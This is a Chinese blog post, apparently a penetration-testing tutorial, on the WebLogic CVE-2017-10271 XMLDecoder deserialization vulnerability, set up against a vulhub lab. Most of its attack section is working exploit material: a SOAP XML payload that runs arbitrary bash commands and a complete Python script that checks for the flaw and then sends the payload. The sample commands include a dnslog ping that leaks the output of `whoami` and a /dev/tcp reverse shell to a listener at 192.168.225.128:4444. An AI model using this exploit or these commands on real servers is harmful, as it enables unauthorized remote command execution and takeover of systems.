漏洞利用-Weblogic反序列化漏洞
本文最后更新于 420 天前,其中的信息可能已经有所发展或是发生改变。

:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::

Weblogic 反序列化漏洞 CVE-2017-10271

📚测试环境

vulhub 靶场 weblogic CVE-2017-10271 环境。

使用 docker-compose 开启环境

image.png

访问测试(参考:https://www.yuque.com/u2164633/eww48f/rhgirguw8myq83n5
image.png

📚漏洞原理

Weblogic 的 WLS Security 组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现了反序列化漏洞,导致 XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

📚影响版本

  • Oracle Weblogic Server 10.3.6.0.0
  • Oracle Weblogic Server 12.1.3.0.0
  • Oracle Weblogic Server 12.2.1.1.0
  • Oracle Weblogic Server 12.2.1.2.0
  • Oracle Weblogic Server 12.2.1.3.0

    📚POC 示例

    访问:
    /wls-wsat/CoordinatorPortType
    如可成功访问 WebService,说明可以利用

    image.png

    利用 POC:

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.4.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>
                /bin/bash
              </string>
            </void>
            <void index="1">
              <string>
                -c
              </string>
            </void>
            <void index="2">
              <string>
                ${command}
              </string>
            </void>
          </array>
          <void method="start" />
        </void>
      </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body />
    </soapenv:Envelope>
    command = 'ping `whoami`.44tppy.dnslog.cn'
    command = 'base -i >& /dev/tcp/192.168.225.128/4444 0>&1'

    V1.0

    #! /usr/bin/env python
    '''
    Weblogic 反序列化漏洞 - CVE-2017-10271
    原理:
    Weblogic 的 WLS Security 组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的 XML 数据,
    在解析的过程中出现了反序列化漏洞,导致 XMLDecoder 来解析用户传入的 XML 数据,
    在解析的过程中出现反序列化漏洞,导致可执行任意命令。
    payload
    exp1
    '''
    import requests
    from urllib.parse import urljoin
    import datetime
    from rich import print as rprint
    from fake_useragent import UserAgent
    ua = UserAgent()
    def get_time():
    return datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    def check_vul_exist(base_url, command):
    check_url = '/wls-wsat/CoordinatorPortType'
    check_url = urljoin(base_url, check_url)
    response = requests.get(check_url)
    if response.status_code == 200 and 'Web Services' in response.text:
        rprint(
            "[[bold green]" + get_time() + "[/bold green]] [[bold green]Success[/bold green]] > [bold yellow]" + f" Weblogic 反序列化漏洞存在,尝试利用 " + "[/bold yellow]")
        cve_2017_10271(base_url, command)
    else:
        rprint(
            "[[bold green]" + get_time() + "[/bold green]] [[bold red]Failed[/bold red]] > [bold yellow]" + " Weblogic 反序列化漏洞不存在 " + "[/bold yellow]")
    def cve_2017_10271(base_url, command):
    check_url = '/wls-wsat/CoordinatorPortType'
    check_url = urljoin(base_url, check_url)
    headers = {
        'User-Agent': ua.random,
        'Content-Type': 'text/xml'
    }
    payload = f'''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                <java version="1.4.0" class="java.beans.XMLDecoder">
                    <void class="java.lang.ProcessBuilder">
                        <array class="java.lang.String" length="3">
                            <void index="0">
                                <string>
                                    /bin/bash
                                </string>
                            </void>
                            <void index="1">
                                <string>
                                    -c
                                </string>
                            </void>
                            <void index="2">
                                <string>
                                    ${command}
                                </string>
                            </void>
                        </array>
                        <void method="start" />
                    </void>
                </java>
            </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body />
    </soapenv:Envelope>
    '''
    response = requests.post(check_url, headers=headers, data=payload)
    print(response.status_code)
    if response.status_code == 500:
        rprint(
            "[[bold green]" + get_time() + "[/bold green]] [[bold green]Success[/bold green]] > [bold yellow]" + f" Weblogic 反序列化漏洞执行成功 " + "[/bold yellow]")
    else:
        rprint(
            "[[bold green]" + get_time() + "[/bold green]] [[bold red]Failed[/bold red]] > [bold yellow]" + " Weblogic 反序列化漏洞不存在 " + "[/bold yellow]")
    if __name__ == '__main__':
    base_url = 'http://192.168.225.135:7001'
    command = 'ping `whoami`.44tppy.dnslog.cn'
    # command = 'base -i >& /dev/tcp/192.168.225.128/4444 0>&1'
    check_vul_exist(base_url, command)
学海无涯,回头是岸。 --- hola
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇